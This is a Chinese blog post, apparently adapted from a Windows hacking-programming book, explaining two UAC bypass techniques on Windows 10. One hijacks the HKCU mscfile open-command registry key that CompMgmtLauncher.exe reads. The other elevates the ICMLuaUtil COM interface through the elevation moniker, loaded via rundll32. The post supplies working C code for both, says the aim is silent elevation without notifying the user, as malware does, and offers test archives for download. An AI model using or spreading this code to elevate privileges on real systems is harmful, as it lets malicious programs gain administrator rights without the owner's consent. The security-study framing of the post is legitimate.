Bypass UAC 提权小结

Foooooooood

发布日期: 2019-01-08 08:35:42 浏览量: 1334
评分:
star star star star star star star star star star
*转载请注明来自write-bug.com

背景

UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。

UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。

在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。

所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。接下来,分别介绍这两种Bypass UAC的实现方法。

6.2.1 基于白名单程序Bypass UAC

有些系统程序是直接获取管理员权限,而不会触发UAC弹框,这类程序称为白名单程序。例如,slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。

接下来,选取白名单程序CompMgmtLauncher.exe计算机管理程序进行详细分析,利用它实现Bypass UAC提权。下述的分析过程是在64位Windows 10操作系统上完成的,使用到的关键工具软件是进程监控器Procmon.exe。

实现过程

首先,直接到System32目录下运行CompMgmtLauncher.exe程序,并没有出现UAC弹窗,直接显示计算机管理的窗口界面。其中,使用进程监控器Procmon.exe来监控CompMgmtLauncher.exe进程的所有操作行为,主要是监控注册表和文件的操作。通过分析Procmon.exe的监控数据发现,CompMgmtLauncher.exe进程会先查询注册表HKCU\Software\Classes\mscfile\shell\open\command中数据,发现该路径不存在后,继续查询注册表HKCR\mscfile\shell\open\command\(Default)中的数据并读取,该注册表路径中存储着mmc.exe进程的路径信息,如图6-1所示。然后,CompMgmtLauncher.exe会根据读取到的路径启动程序,显示计算机管理的窗口界面。

在CompMgmtLauncher.exe启动的过程中,有一个关键的操作就是它会先读取注册表HKCU\Software\Classes\mscfile\shell\open\command的数据。打开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为C:\Windows\System32\cmd.exe,然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe,成功弹出cmd.exe命令行窗口,而且提示管理员权限,如图6-2所示。

查看Procmon.exe的监控数据,CompMgmtLauncher.exe确实直接读取HKCU\Software\Classes\mscfile\shell\open\command\(Default)注册表路径中的数据并启动,如图6-3所示。

所以,利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理便是,程序自己创建并添加注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default),并写入自定义的程序路径。接着,运行CompMgmtLauncher.exe程序,完成Bypass UAC提权操作。其中,HKEY_CURRENT_USER注册表是用户注册表,程序使用普通权限即可进行修改。

那么,基于CompMgmtLauncher.exe白名单程序Bypass UAC具体实现代码如下所示。

  1. // 修改注册表
  2. BOOL SetReg(char *lpszExePath)
  3. {
  4. HKEY hKey = NULL;
  5. // 创建项
  6. ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
  7. if (NULL == hKey)
  8. {
  9. ShowError("RegCreateKeyEx");
  10. return FALSE;
  11. }
  12. // 设置键值
  13. ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath)));
  14. // 关闭注册表
  15. ::RegCloseKey(hKey);
  16. return TRUE;
  17. }

测试

直接运行上述程序,向注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default)中写入cmd.exe的路径,启动cmd.exe进程。cmd.exe成功启动,窗口标题显示管理员字样,如图6-4所示。

6.2.2 基于COM组件接口Bypass UAC

COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程。所以,本文介绍的基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称(COM Elevation Moniker)来对ICMLuaUtil接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。

使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,CoCreateInstanceAsAdmin函数的代码可以在MSDN网页( https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx )上找到,下面给出的是CoCreateInstanceAsAdmin函数的改进代码,增加了初始化COM环境的代码。

那么,COM提升名称具体的实现代码如下所示。

  1. HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
  2. {
  3. BIND_OPTS3 bo;
  4. WCHAR wszCLSID[MAX_PATH] = { 0 };
  5. WCHAR wszMonikerName[MAX_PATH] = { 0 };
  6. HRESULT hr = 0;
  7. // 初始化COM环境
  8. ::CoInitialize(NULL);
  9. // 构造字符串
  10. ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
  11. hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
  12. if (FAILED(hr))
  13. {
  14. return hr;
  15. }
  16. // 设置BIND_OPTS3
  17. ::RtlZeroMemory(&bo, sizeof(bo));
  18. bo.cbStruct = sizeof(bo);
  19. bo.hwnd = hWnd;
  20. bo.dwClassContext = CLSCTX_LOCAL_SERVER;
  21. // 创建名称对象并获取COM对象
  22. hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
  23. return hr;
  24. }

执行上述代码,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。

那么,基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示。

  1. BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
  2. {
  3. HRESULT hr = 0;
  4. CLSID clsidICMLuaUtil = { 0 };
  5. IID iidICMLuaUtil = { 0 };
  6. ICMLuaUtil *CMLuaUtil = NULL;
  7. BOOL bRet = FALSE;
  8. do {
  9. ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
  10. ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
  11. // 提权
  12. hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
  13. if (FAILED(hr))
  14. {
  15. break;
  16. }
  17. // 启动程序
  18. hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
  19. if (FAILED(hr))
  20. {
  21. break;
  22. }
  23. bRet = TRUE;
  24. }while(FALSE);
  25. // 释放
  26. if (CMLuaUtil)
  27. {
  28. CMLuaUtil->lpVtbl->Release(CMLuaUtil);
  29. }
  30. return bRet;
  31. }

要注意的是,如果执行COM提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发UAC弹窗,若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。所以可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。

其中,利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。

  1. // 导出函数给rundll32.exe调用执行
  2. void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

测试

将上述Bypass UAC的代码写在DLL的项目工程中,同时开发Test控制台项目工程,负责并将BypassUAC函数导出给rundll32.exe程序调用,完成Bypass UAC工作。Bypass UAC启动的是cmd.exe程序,所以,直接运行Test.exe即可看到cmd.exe命令行窗口,而且窗口标题有管理员字样,如图6-5所示。

小结

对于上述基于白名单程序实现Bypass UAC的程序编译为32位程序,测试环境运行在64位Windows 10系统上。当32位程序访问64位的System32文件目录的时候,会出现文件重定向,可以调用Wow64DisableWow64FsRedirection和Wow64RevertWow64FsRedirection函数来关闭和恢复文件重定向。而且,32位在操作64位系统的注册表的时候,也会出现注册表重定向的情况,可以在调用RegCreateKeyEx函数打开注册表的时候,设置KEY_WOW64_64KEY注册表访问权限,以确保能正确访问64位下的注册表,不被注册表重定向。

对于上述基于COM组件接口技术实现Bypass UAC的程序编译为DLL项目工程,通过被可信程序类似rundll32.exe加载调用方可不弹窗Bypass UAC。调用COM函数之前,一定要先调用CoInitialize函数来初始化COM环境,否则调用COM接口函数失败。

实现Bypass UAC的方法很多,并不局限于白名单程序和COM接口技术。不同的Bypass UAC方法,其具体的实现过程大都不一样。随着操作系统的升级更新,现在Bypass UAC成功的方法,可能在以后不再适用,但,也会有新的Bypass UAC的方法出现,攻与防是相互博弈的过程。

对这方面技术感兴趣的读者,可以到GITHUB开源平台上搜索UACME的开源项目,里面收集了很多关于Bypass UAC的方法。

参考

参考自《Windows黑客编程技术详解》一书

上传的附件 cloud_download BypassUAC1_Test.7z ( 143.94kb, 13次下载 ) cloud_download BypassUAC2_Test.7z ( 195.44kb, 12次下载 )

发送私信

一盏灯,一条路,一个你

9
文章数
21
评论数
最近文章
eject